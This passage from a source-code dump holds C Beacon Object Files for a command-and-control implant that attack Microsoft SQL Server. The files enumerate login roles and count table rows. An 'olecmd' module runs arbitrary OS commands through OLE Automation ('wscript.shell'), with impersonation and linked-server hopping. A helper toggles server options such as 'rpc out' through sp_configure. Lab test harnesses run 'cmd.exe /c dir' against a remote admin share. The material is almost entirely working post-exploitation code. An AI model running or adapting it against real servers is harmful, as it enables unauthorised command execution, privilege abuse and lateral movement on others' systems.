36 | // 37 | char* roles[] = { 38 | "sysadmin", 39 | "setupadmin", 40 | "serveradmin", 41 | "securityadmin", 42 | "processadmin", 43 | "diskadmin", 44 | "dbcreator", 45 | "bulkadmin" 46 | }; 47 | 48 | if (link == NULL) 49 | { 50 | dbc = ConnectToSqlServer(&env, server, database); 51 | } 52 | else 53 | { 54 | dbc = ConnectToSqlServer(&env, server, NULL); 55 | } 56 | 57 | if (dbc == NULL) 58 | { 59 | goto END; 60 | } 61 | 62 | if (link == NULL) 63 | { 64 | internal_printf("[*] Determining user permissions on %s\n", server); 65 | } 66 | else 67 | { 68 | internal_printf("[*] Determining user permissions on %s via %s\n", link, server); 69 | } 70 | 71 | 72 | // 73 | // allocate statement handle 74 | // 75 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 76 | if (!SQL_SUCCEEDED(ret)) 77 | { 78 | internal_printf("[!] Failed to allocate statement handle\n"); 79 | goto END; 80 | } 81 | 82 | // 83 | // first query 84 | // 85 | SQLCHAR* query = (SQLCHAR*)"SELECT SYSTEM_USER;"; 86 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 87 | { 88 | goto END; 89 | } 90 | sysUser = GetSingleResult(stmt, FALSE); 91 | internal_printf("[*] Logged in as %s\n", sysUser); 92 | 93 | // 94 | // close the cursor 95 | // 96 | ODBC32$SQLCloseCursor(stmt); 97 | 98 | // 99 | // second query 100 | // 101 | query = (SQLCHAR*)"SELECT USER_NAME();"; 102 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 103 | { 104 | goto END; 105 | } 106 | mappedUser = GetSingleResult(stmt, FALSE); 107 | internal_printf("[*] Mapped to the user %s\n", mappedUser); 108 | 109 | // 110 | // close the cursor 111 | // 112 | ODBC32$SQLCloseCursor(stmt); 113 | 114 | // 115 | // third query 116 | // 117 | internal_printf("[*] Gathering roles...\n"); 118 | query = (SQLCHAR*)"SELECT [name] from sysusers where issqlrole = 1;"; 119 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 120 | { 121 | goto END; 122 | } 123 | dbRoles = GetMultipleResults(stmt, FALSE); 124 | 125 | // 126 | // close the cursor 127 | // 128 | ODBC32$SQLCloseCursor(stmt); 129 | 130 | // 131 | // fourth query (loop) 132 | // 133 | for (int i = 0; dbRoles[i] != NULL; i++) 134 | { 135 | char* role = dbRoles[i]; 136 | char* query = (char*)intAlloc(MSVCRT$strlen(role) + 32); 137 | MSVCRT$sprintf(query, "SELECT IS_MEMBER('%s');", role); 138 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 139 | { 140 | goto END; 141 | } 142 | 143 | char* result = GetSingleResult(stmt, FALSE); 144 | PrintMemberStatus(role, result); 145 | 146 | intFree(query); 147 | intFree(result); 148 | 149 | ret = ODBC32$SQLCloseCursor(stmt); 150 | if (!SQL_SUCCEEDED(ret)) 151 | { 152 | internal_printf("[!] Failed to close cursor\n"); 153 | goto END; 154 | } 155 | } 156 | 157 | // 158 | // fifth query (loop) 159 | // 160 | for (int i = 0; i < sizeof(roles) / sizeof(roles[0]); i++) 161 | { 162 | char* role = roles[i]; 163 | char* query = (char*)intAlloc(MSVCRT$strlen(role) + 32); 164 | MSVCRT$sprintf(query, "SELECT IS_SRVROLEMEMBER('%s');", role); 165 | if (!HandleQuery(stmt, query, link, impersonate, FALSE)) 166 | { 167 | goto END; 168 | } 169 | 170 | char* result = GetSingleResult(stmt, FALSE); 171 | PrintMemberStatus(role, result); 172 | 173 | intFree(query); 174 | intFree(result); 175 | 176 | ret = ODBC32$SQLCloseCursor(stmt); 177 | if (!SQL_SUCCEEDED(ret)) 178 | { 179 | internal_printf("[!] Failed to close cursor\n"); 180 | goto END; 181 | } 182 | } 183 | 184 | END: 185 | if (sysUser != NULL) intFree(sysUser); 186 | if (mappedUser != NULL) intFree(mappedUser); 187 | if (dbRoles != NULL) FreeResults(dbRoles); 188 | ODBC32$SQLCloseCursor(stmt); 189 | DisconnectSqlServer(env, dbc, stmt); 190 | } 191 | 192 | 193 | #ifdef BOF 194 | VOID go( 195 | IN PCHAR Buffer, 196 | IN ULONG Length 197 | ) 198 | { 199 | // 200 | // usage: whoami 201 | // 202 | char* server; 203 | char* database; 204 | char* link; 205 | char* impersonate; 206 | 207 | // 208 | // parse beacon args 209 | // 210 | datap parser; 211 | BeaconDataParse(&parser, Buffer, Length); 212 | 213 | server = BeaconDataExtract(&parser, NULL); 214 | database = BeaconDataExtract(&parser, NULL); 215 | link = BeaconDataExtract(&parser, NULL); 216 | impersonate = BeaconDataExtract(&parser, NULL); 217 | 218 | server = *server == 0 ? "localhost" : server; 219 | database = *database == 0 ? "master" : database; 220 | link = *link == 0 ? NULL : link; 221 | impersonate = *impersonate == 0 ? NULL : impersonate; 222 | 223 | if(!bofstart()) 224 | { 225 | return; 226 | } 227 | 228 | if (UsingLinkAndImpersonate(link, impersonate)) 229 | { 230 | return; 231 | } 232 | 233 | Whoami(server, database, link, impersonate); 234 | 235 | printoutput(TRUE); 236 | }; 237 | 238 | #else 239 | 240 | int main() 241 | { 242 | internal_printf("============ BASE TEST ============\n\n"); 243 | Whoami("castelblack.north.sevenkingdoms.local", "master", NULL, NULL); 244 | 245 | internal_printf("\n============ IMPERSONATE TEST ============\n\n"); 246 | Whoami("castelblack.north.sevenkingdoms.local", "master", NULL, "sa"); 247 | 248 | internal_printf("\n============ LINK TEST ====\n\n"); 249 | Whoami("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL); 250 | } 251 | 252 | #endif 253 | -------------------------------------------------------------------------------- /src/SQL/rows/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | 5 | 6 | void CheckTableRows(char* server, char* database, char* link, char* impersonate, char* table) 7 | { 8 | SQLHENV env = NULL; 9 | SQLHSTMT stmt = NULL; 10 | SQLHDBC dbc = NULL; 11 | char* useStmt = NULL; 12 | char* query = NULL; 13 | char* schema = NULL; 14 | SQLRETURN ret; 15 | 16 | 17 | if (link == NULL) 18 | { 19 | dbc = ConnectToSqlServer(&env, server, database); 20 | } 21 | else 22 | { 23 | dbc = ConnectToSqlServer(&env, server, NULL); 24 | } 25 | 26 | if (dbc == NULL) { 27 | goto END; 28 | } 29 | 30 | if (link == NULL) 31 | { 32 | internal_printf("[*] Getting row count from table %s in %s on %s\n\n", table, database, server); 33 | } 34 | else 35 | { 36 | internal_printf("[*] Getting row count from table %s in %s on %s via %s\n\n", table, database, link, server); 37 | } 38 | 39 | 40 | // 41 | // allocate statement handle 42 | // 43 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 44 | if (!SQL_SUCCEEDED(ret)) 45 | { 46 | internal_printf("[!] Error allocating statement handle\n"); 47 | goto END; 48 | } 49 | 50 | // 51 | // Construct USE database statement 52 | // 53 | char* dbPrefix = "USE "; 54 | char* dbSuffix = "; "; 55 | char* tablePrefix = "SELECT COUNT(*) as row_count FROM "; 56 | char* tableSuffix = ";"; 57 | 58 | if (link == NULL) 59 | { 60 | // 61 | // Not using link; need to execute two queries 62 | // 63 | size_t useStmtSize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(dbSuffix) + 1; 64 | useStmt = (char*)intAlloc(useStmtSize * sizeof(char)); 65 | 66 | MSVCRT$strcpy(useStmt, dbPrefix); 67 | MSVCRT$strncat(useStmt, database, useStmtSize - MSVCRT$strlen(useStmt) - 1); 68 | MSVCRT$strncat(useStmt, dbSuffix, useStmtSize - MSVCRT$strlen(useStmt) - 1); 69 | 70 | if (!HandleQuery(stmt, (SQLCHAR*)useStmt, link, impersonate, TRUE)){ 71 | goto END; 72 | } 73 | 74 | // 75 | // leave cursor open 76 | // 77 | 78 | // 79 | // Construct query 80 | // 81 | size_t totalSize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1; 82 | query = (char*)intAlloc(totalSize * sizeof(char)); 83 | 84 | MSVCRT$strcpy(query, tablePrefix); 85 | MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1); 86 | MSVCRT$strncat(query, tableSuffix, totalSize - MSVCRT$strlen(query) - 1); 87 | 88 | // 89 | // Run the query 90 | // 91 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 92 | goto END; 93 | } 94 | 95 | PrintQueryResults(stmt, TRUE); 96 | } 97 | else 98 | { 99 | char* sep = "."; 100 | 101 | // 102 | // linked RPC query funkiness, idk what to do so lets get the table schema 103 | // 104 | if (!GetTableShema(stmt, link, database, table)){ 105 | internal_printf("[!] Failed to get table schema for %s\n", table); 106 | goto END; 107 | } 108 | 109 | schema = GetSingleResult(stmt, FALSE); 110 | internal_printf("[*] Table schema for %s is: %s\n\n", table, schema); 111 | 112 | // 113 | // Close the cursor 114 | // 115 | ret = ODBC32$SQLCloseCursor(stmt); 116 | if (!SQL_SUCCEEDED(ret)) 117 | { 118 | internal_printf("[!] Error closing cursor\n"); 119 | goto END; 120 | } 121 | 122 | // 123 | // Prep statement for linked RPC query 124 | // tableprefix + database + sep + schema + sep + table + suffix 125 | // 126 | size_t totalSize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(sep) + MSVCRT$strlen(schema) + MSVCRT$strlen(sep) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1; 127 | query = (char*)intAlloc(totalSize * sizeof(char)); 128 | 129 | MSVCRT$strcpy(query, tablePrefix); 130 | MSVCRT$strncat(query, database, totalSize - MSVCRT$strlen(query) - 1); 131 | MSVCRT$strncat(query, sep, totalSize - MSVCRT$strlen(query) - 1); 132 | MSVCRT$strncat(query, schema, totalSize - MSVCRT$strlen(query) - 1); 133 | MSVCRT$strncat(query, sep, totalSize - MSVCRT$strlen(query) - 1); 134 | MSVCRT$strncat(query, table, totalSize - MSVCRT$strlen(query) - 1); 135 | 136 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 137 | goto END; 138 | } 139 | 140 | PrintQueryResults(stmt, TRUE); 141 | } 142 | 143 | END: 144 | if (useStmt != NULL) intFree(useStmt); 145 | if (query != NULL) intFree(query); 146 | if (schema != NULL) intFree(schema); 147 | ODBC32$SQLCloseCursor(stmt); 148 | DisconnectSqlServer(env, dbc, stmt); 149 | } 150 | 151 | 152 | #ifdef BOF 153 | VOID go( 154 | IN PCHAR Buffer, 155 | IN ULONG Length 156 | ) 157 | { 158 | char* server; 159 | char* database; 160 | char* table; 161 | char* link; 162 | char* impersonate; 163 | 164 | // 165 | // parse beacon args 166 | // 167 | datap parser; 168 | BeaconDataParse(&parser, Buffer, Length); 169 | 170 | server = BeaconDataExtract(&parser, NULL); 171 | database = BeaconDataExtract(&parser, NULL); 172 | table = BeaconDataExtract(&parser, NULL); 173 | link = BeaconDataExtract(&parser, NULL); 174 | impersonate = BeaconDataExtract(&parser, NULL); 175 | 176 | 177 | server = *server == 0 ? "localhost" : server; 178 | database = *database == 0 ? "master" : database; 179 | table = *table == 0 ? NULL : table; 180 | link = *link == 0 ? NULL : link; 181 | impersonate = *impersonate == 0 ? NULL : impersonate; 182 | 183 | if(!bofstart()) 184 | { 185 | return; 186 | } 187 | 188 | if (table == NULL) 189 | { 190 | internal_printf("[!] Table argument is required\n"); 191 | printoutput(TRUE); 192 | return; 193 | } 194 | 195 | if (UsingLinkAndImpersonate(link, impersonate)) 196 | { 197 | return; 198 | } 199 | 200 | CheckTableRows(server, database, link, impersonate, table); 201 | 202 | printoutput(TRUE); 203 | }; 204 | 205 | #else 206 | 207 | int main() 208 | { 209 | internal_printf("============ BASE TEST ============\n\n"); 210 | CheckTableRows("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "spt_monitor"); 211 | 212 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 213 | CheckTableRows("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "spt_monitor"); 214 | 215 | internal_printf("\n\n============ LINK TEST ============\n\n"); 216 | CheckTableRows("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "spt_monitor"); 217 | } 218 | 219 | #endif 220 | -------------------------------------------------------------------------------- /src/SQL/olecmd/entry.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "base.c" 3 | #include "sql.c" 4 | #include "sql_modules.c" 5 | 6 | 7 | void ExecuteOleCmd(char* server, char* database, char* link, char* impersonate, char* command) 8 | { 9 | SQLHENV env = NULL; 10 | SQLHSTMT stmt = NULL; 11 | SQLHDBC dbc = NULL; 12 | SQLRETURN ret; 13 | char* query; 14 | size_t totalSize; 15 | 16 | 17 | if (link == NULL) 18 | { 19 | dbc = ConnectToSqlServer(&env, server, database); 20 | } 21 | else 22 | { 23 | dbc = ConnectToSqlServer(&env, server, NULL); 24 | } 25 | 26 | if (dbc == NULL) { 27 | goto END; 28 | } 29 | 30 | // 31 | // allocate statement handle 32 | // 33 | ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt); 34 | if (!SQL_SUCCEEDED(ret)) 35 | { 36 | internal_printf("[!] Error allocating statement handle\n"); 37 | goto END; 38 | } 39 | 40 | // 41 | // verify that OLE Automation Procedures is enabled 42 | // 43 | if (IsModuleEnabled(stmt, "OLE Automation Procedures", link, impersonate)) 44 | { 45 | internal_printf("[*] OLE Automation Procedures is enabled\n"); 46 | } 47 | else 48 | { 49 | internal_printf("[!] OLE Automation Procedures is not enabled\n"); 50 | goto END; 51 | } 52 | 53 | // 54 | // clear the cursor 55 | // 56 | ODBC32$SQLCloseCursor(stmt); 57 | 58 | // 59 | // if using linked server, ensure rpc is enabled 60 | // 61 | if (link != NULL) 62 | { 63 | if (IsRpcEnabled(stmt, link)) 64 | { 65 | internal_printf("[*] RPC out is enabled\n"); 66 | } 67 | else 68 | { 69 | internal_printf("[!] RPC out is not enabled\n"); 70 | goto END; 71 | } 72 | 73 | // 74 | // close the cursor 75 | // 76 | ODBC32$SQLCloseCursor(stmt); 77 | } 78 | 79 | internal_printf("[*] Executing system command...\n\n"); 80 | 81 | InitRandomSeed(); 82 | char* output = GenerateRandomString(8); 83 | char* program = GenerateRandomString(8); 84 | 85 | internal_printf("[*] Setting sp_oacreate to \"%s\"\n", output); 86 | internal_printf("[*] Setting sp_oamethod to \"%s\"\n", program); 87 | 88 | char* linkPrefix = "SELECT 1; "; 89 | char* part1 = "DECLARE @"; // followed by output 90 | char* part2 = " INT; DECLARE @"; //followed by program 91 | char* part3 = " VARCHAR(255); SET @"; //followed by program 92 | char* part4 = " = 'Run(\""; //followed by command 93 | char* part5 = "\")'; EXEC sp_oacreate 'wscript.shell', @"; //followed by output 94 | char* part6 = " out; EXEC sp_oamethod @"; //followed by output 95 | char* part7 = ", @"; //followed by program 96 | char* part8 = "; EXEC sp_oadestroy @"; //followed by output 97 | char* part9 = ";"; 98 | 99 | // 100 | // build the query string 101 | // 102 | if (link == NULL) 103 | { 104 | totalSize = MSVCRT$strlen(part1) + MSVCRT$strlen(output) + MSVCRT$strlen(part2) + MSVCRT$strlen(program) + MSVCRT$strlen(part3) + MSVCRT$strlen(program) + MSVCRT$strlen(part4) + MSVCRT$strlen(command) + MSVCRT$strlen(part5) + MSVCRT$strlen(output) + MSVCRT$strlen(part6) + MSVCRT$strlen(output) + MSVCRT$strlen(part7) + MSVCRT$strlen(program) + MSVCRT$strlen(part8) + MSVCRT$strlen(output) + MSVCRT$strlen(part9) + 1; 105 | query = (char*)intAlloc(totalSize * sizeof(char)); 106 | 107 | MSVCRT$strcpy(query, part1); 108 | } 109 | else 110 | { 111 | totalSize = MSVCRT$strlen(linkPrefix) + MSVCRT$strlen(part1) + MSVCRT$strlen(output) + MSVCRT$strlen(part2) + MSVCRT$strlen(program) + MSVCRT$strlen(part3) + MSVCRT$strlen(program) + MSVCRT$strlen(part4) + MSVCRT$strlen(command) + MSVCRT$strlen(part5) + MSVCRT$strlen(output) + MSVCRT$strlen(part6) + MSVCRT$strlen(output) + MSVCRT$strlen(part7) + MSVCRT$strlen(program) + MSVCRT$strlen(part8) + MSVCRT$strlen(output) + MSVCRT$strlen(part9) + 1; 112 | query = (char*)intAlloc(totalSize * sizeof(char)); 113 | 114 | MSVCRT$strcpy(query, linkPrefix); 115 | MSVCRT$strncat(query, part1, totalSize - MSVCRT$strlen(query) - 1); 116 | } 117 | 118 | MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1); 119 | MSVCRT$strncat(query, part2, totalSize - MSVCRT$strlen(query) - 1); 120 | MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1); 121 | MSVCRT$strncat(query, part3, totalSize - MSVCRT$strlen(query) - 1); 122 | MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1); 123 | MSVCRT$strncat(query, part4, totalSize - MSVCRT$strlen(query) - 1); 124 | MSVCRT$strncat(query, command, totalSize - MSVCRT$strlen(query) - 1); 125 | MSVCRT$strncat(query, part5, totalSize - MSVCRT$strlen(query) - 1); 126 | MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1); 127 | MSVCRT$strncat(query, part6, totalSize - MSVCRT$strlen(query) - 1); 128 | MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1); 129 | MSVCRT$strncat(query, part7, totalSize - MSVCRT$strlen(query) - 1); 130 | MSVCRT$strncat(query, program, totalSize - MSVCRT$strlen(query) - 1); 131 | MSVCRT$strncat(query, part8, totalSize - MSVCRT$strlen(query) - 1); 132 | MSVCRT$strncat(query, output, totalSize - MSVCRT$strlen(query) - 1); 133 | MSVCRT$strncat(query, part9, totalSize - MSVCRT$strlen(query) - 1); 134 | 135 | 136 | // 137 | // Run the query 138 | // 139 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)){ 140 | goto END; 141 | } 142 | 143 | internal_printf("[*] Command executed\n"); 144 | internal_printf("[*] Destoryed \"%s\" and \"%s\"\n", output, program); 145 | 146 | END: 147 | if (output != NULL) intFree(output); 148 | if (program != NULL) intFree(program); 149 | if (query != NULL) intFree(query); 150 | 151 | ODBC32$SQLCloseCursor(stmt); 152 | DisconnectSqlServer(env, dbc, stmt); 153 | } 154 | 155 | 156 | #ifdef BOF 157 | VOID go( 158 | IN PCHAR Buffer, 159 | IN ULONG Length 160 | ) 161 | { 162 | char* server; 163 | char* database; 164 | char* link; 165 | char* impersonate; 166 | char* command; 167 | 168 | // 169 | // parse beacon args 170 | // 171 | datap parser; 172 | BeaconDataParse(&parser, Buffer, Length); 173 | 174 | server = BeaconDataExtract(&parser, NULL); 175 | database = BeaconDataExtract(&parser, NULL); 176 | link = BeaconDataExtract(&parser, NULL); 177 | impersonate = BeaconDataExtract(&parser, NULL); 178 | command = BeaconDataExtract(&parser, NULL); 179 | 180 | server = *server == 0 ? "localhost" : server; 181 | database = *database == 0 ? "master" : database; 182 | link = *link == 0 ? NULL : link; 183 | impersonate = *impersonate == 0 ? NULL : impersonate; 184 | 185 | if(!bofstart()) 186 | { 187 | return; 188 | } 189 | 190 | if (UsingLinkAndImpersonate(link, impersonate)) 191 | { 192 | return; 193 | } 194 | 195 | ExecuteOleCmd(server, database, link, impersonate, command); 196 | 197 | printoutput(TRUE); 198 | }; 199 | 200 | #else 201 | 202 | int main() 203 | { 204 | internal_printf("============ BASE TEST ============\n\n"); 205 | ExecuteOleCmd("castelblack.north.sevenkingdoms.local", "master", NULL, NULL, "cmd.exe /c dir \\\\10.2.99.1\\c$"); 206 | 207 | internal_printf("\n\n============ IMPERSONATE TEST ============\n\n"); 208 | ExecuteOleCmd("castelblack.north.sevenkingdoms.local", "master", NULL, "sa", "cmd.exe /c dir \\\\10.2.99.1\\c$"); 209 | 210 | internal_printf("\n\n============ LINK TEST ============\n\n"); 211 | ExecuteOleCmd("castelblack.north.sevenkingdoms.local", "master", "BRAAVOS", NULL, "cmd.exe /c dir \\\\10.2.99.1\\c$"); 212 | } 213 | 214 | #endif 215 | -------------------------------------------------------------------------------- /src/common/sql_modules.c: -------------------------------------------------------------------------------- 1 | // 2 | // imported by bof entry files to check or toggle status of modules 3 | // include statmenet should be after the sql.c include 4 | // 5 | #include 6 | #include 7 | #include "bofdefs.h" 8 | 9 | // 10 | // Configure sp_serveroption or sp_configure 11 | // 12 | BOOL ToggleModule(SQLHSTMT stmt, char* name, char* value, char* link, char* impersonate) { 13 | char* query = NULL; 14 | size_t totalSize; 15 | SQLRETURN ret; 16 | 17 | if (MSVCRT$strcmp(name, "rpc") == 0) 18 | { 19 | char* prefix = "EXEC sp_serveroption '"; 20 | char* middle = "', 'rpc out', '"; 21 | char* suffix = "';"; 22 | 23 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(middle) + MSVCRT$strlen(value) + MSVCRT$strlen(suffix) + 1; 24 | query = (char*)intAlloc(totalSize * sizeof(char)); 25 | 26 | MSVCRT$strcpy(query, prefix); 27 | MSVCRT$strncat(query, link, totalSize - MSVCRT$strlen(query) - 1); 28 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 29 | MSVCRT$strncat(query, value, totalSize - MSVCRT$strlen(query) - 1); 30 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 31 | 32 | // 33 | // link will always be passed as NULL here 34 | // 35 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, NULL, impersonate, FALSE); 36 | 37 | intFree(query); 38 | 39 | return result; 40 | } 41 | else 42 | { 43 | char* reconfigure = "RECONFIGURE;"; 44 | char* advOpts = "EXEC sp_configure 'show advanced options', 1;"; 45 | 46 | // 47 | // setting TRUE for using rpc query 48 | // 49 | if (!HandleQuery(stmt, (SQLCHAR*)advOpts, link, impersonate, TRUE)) 50 | { 51 | return FALSE; 52 | } 53 | 54 | 55 | // 56 | // Clear the cursor 57 | // 58 | ClearCursor(stmt); 59 | 60 | // 61 | // Reconfigure 62 | // 63 | if (!HandleQuery(stmt, (SQLCHAR*)reconfigure, link, impersonate, TRUE)) 64 | { 65 | return FALSE; 66 | } 67 | 68 | // 69 | // Clear the cursor 70 | // 71 | ClearCursor(stmt); 72 | 73 | // 74 | // toggle on or off 75 | // 76 | char* prefix = "EXEC sp_configure '"; 77 | char* middle = "', "; 78 | char* suffix = ";"; 79 | 80 | totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(middle) + MSVCRT$strlen(value) + MSVCRT$strlen(suffix) + 1; 81 | query = (char*)intAlloc(totalSize * sizeof(char)); 82 | 83 | MSVCRT$strcpy(query, prefix); 84 | MSVCRT$strncat(query, name, totalSize - MSVCRT$strlen(query) - 1); 85 | MSVCRT$strncat(query, middle, totalSize - MSVCRT$strlen(query) - 1); 86 | MSVCRT$strncat(query, value, totalSize - MSVCRT$strlen(query) - 1); 87 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 88 | 89 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, TRUE)) 90 | { 91 | intFree(query); 92 | return FALSE; 93 | } 94 | 95 | // 96 | // Clear the cursor 97 | // 98 | ClearCursor(stmt); 99 | 100 | // 101 | // Reconfigure 102 | // 103 | BOOL result = HandleQuery(stmt, (SQLCHAR*)reconfigure, link, impersonate, TRUE); 104 | 105 | intFree(query); 106 | 107 | return result; 108 | } 109 | } 110 | 111 | // 112 | // Query the status of RPC on a linked server 113 | // 114 | BOOL CheckRpcOnLink(SQLHSTMT stmt, char* link, char* impersonate) 115 | { 116 | char* prefix = "SELECT is_rpc_out_enabled FROM sys.servers WHERE lower(name) like '%"; 117 | char* suffix = "%';"; 118 | 119 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(suffix) + 1; 120 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 121 | 122 | MSVCRT$strcpy(query, prefix); 123 | MSVCRT$strncat(query, link, totalSize - MSVCRT$strlen(query) - 1); 124 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 125 | 126 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, NULL, impersonate, FALSE); 127 | 128 | intFree(query); 129 | 130 | return result; 131 | } 132 | 133 | // 134 | // Used to verify rpc status before executing a rpc linked query 135 | // 136 | BOOL IsRpcEnabled(SQLHSTMT stmt, char* link) 137 | { 138 | BOOL enabled; 139 | 140 | char* prefix = "SELECT is_rpc_out_enabled " 141 | "FROM sys.servers WHERE name = '"; 142 | char* suffix = "';"; 143 | 144 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(link) + MSVCRT$strlen(suffix) + 1; 145 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 146 | 147 | MSVCRT$strcpy(query, prefix); 148 | MSVCRT$strncat(query, link, totalSize - MSVCRT$strlen(query) - 1); 149 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 150 | 151 | if (!HandleQuery(stmt, (SQLCHAR*)query, NULL, NULL, FALSE)) 152 | { 153 | intFree(query); 154 | return FALSE; 155 | } 156 | 157 | char* result = GetSingleResult(stmt, FALSE); 158 | 159 | if (result[0] == '1') 160 | { 161 | enabled = TRUE; 162 | } 163 | else 164 | { 165 | enabled = FALSE; 166 | } 167 | 168 | intFree(query); 169 | intFree(result); 170 | 171 | return enabled; 172 | } 173 | 174 | // 175 | // Execute query and hold results for printing 176 | // 177 | BOOL CheckModuleStatus(SQLHSTMT stmt, char* name, char* link, char* impersonate) 178 | { 179 | char* prefix = "SELECT CAST(name AS NVARCHAR(128)) AS name, " 180 | "CAST(value_in_use AS INT) AS value_in_use\n" 181 | "FROM sys.configurations\n" 182 | "WHERE name = '"; 183 | char* suffix = "';"; 184 | 185 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(suffix) + 1; 186 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 187 | 188 | MSVCRT$strcpy(query, prefix); 189 | MSVCRT$strncat(query, name, totalSize - MSVCRT$strlen(query) - 1); 190 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 191 | 192 | BOOL result = HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE); 193 | 194 | intFree(query); 195 | 196 | return result; 197 | } 198 | 199 | // 200 | // Used to verify module status before executing 201 | // 202 | BOOL IsModuleEnabled(SQLHSTMT stmt, char* name, char* link, char* impersonate) 203 | { 204 | BOOL enabled; 205 | 206 | char* prefix = "SELECT CAST(value_in_use AS INT) AS value_in_use " 207 | "FROM sys.configurations " 208 | "WHERE name = '"; 209 | char* suffix = "';"; 210 | 211 | size_t totalSize = MSVCRT$strlen(prefix) + MSVCRT$strlen(name) + MSVCRT$strlen(suffix) + 1; 212 | char* query = (char*)intAlloc(totalSize * sizeof(char)); 213 | 214 | MSVCRT$strcpy(query, prefix); 215 | MSVCRT$strncat(query, name, totalSize - MSVCRT$strlen(query) - 1); 216 | MSVCRT$strncat(query, suffix, totalSize - MSVCRT$strlen(query) - 1); 217 | 218 | if (!HandleQuery(stmt, (SQLCHAR*)query, link, impersonate, FALSE)) 219 | { 220 | return FALSE; 221 | } 222 | 223 | char* result = GetSingleResult(stmt, FALSE); 224 | 225 | if (result[0] == '1') 226 | { 227 | enabled = TRUE; 228 | } 229 | else 230 | { 231 | enabled = FALSE; 232 | } 233 | 234 | intFree(query); 235 | intFree(result); 236 | 237 | return enabled; 238 | } -------------------------------------------------------------------------------- /src/common/base.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "beacon.h" 3 | #include "time.h" 4 | #ifndef bufsize 5 | #define bufsize 8192 6 | #endif 7 | 8 | 9 | char * output __attribute__((section (".data"))) = 0; // this is just done so its we don't go into .bss which isn't handled properly 10 | WORD currentoutsize __attribute__((section (".data"))) = 0; 11 | HANDLE trash __attribute__((section (".data"))) = NULL; // Needed for x64 to not give relocation error 12 | 13 | #ifdef BOF 14 | int bofstart(); 15 | void internal_printf(const char* format, ...); 16 | void printoutput(BOOL done); 17 | #endif 18 | char * Utf16ToUtf8(const wchar_t* input); 19 | #ifdef BOF 20 | int bofstart() 21 | { 22 | output = (char*)MSVCRT$calloc(bufsize, 1); 23 | currentoutsize = 0; 24 | return 1; 25 | } 26 | 27 | void internal_printf(const char* format, ...){ 28 | int buffersize = 0; 29 | int transfersize = 0; 30 | char * curloc = NULL; 31 | char* intBuffer = NULL; 32 | va_list args; 33 | va_start(args, format); 34 | buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null 35 | va_end(args); 36 | 37 | // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string) 38 | if (buffersize == -1) 39 | return; 40 | 41 | char* transferBuffer = (char*)intAlloc(bufsize); 42 | intBuffer = (char*)intAlloc(buffersize); 43 | /*Print string to memory buffer*/ 44 | va_start(args, format); 45 | MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string 46 | va_end(args); 47 | if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end 48 | { 49 | //BeaconFormatPrintf(&output, intBuffer); 50 | memcpy(output+currentoutsize, intBuffer, buffersize); 51 | currentoutsize += buffersize; 52 | } 53 | else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print 54 | { 55 | curloc = intBuffer; 56 | while(buffersize > 0) 57 | { 58 | transfersize = bufsize - currentoutsize; // what is the max we could transfer this request 59 | if(buffersize < transfersize) //if I have less then that, lets 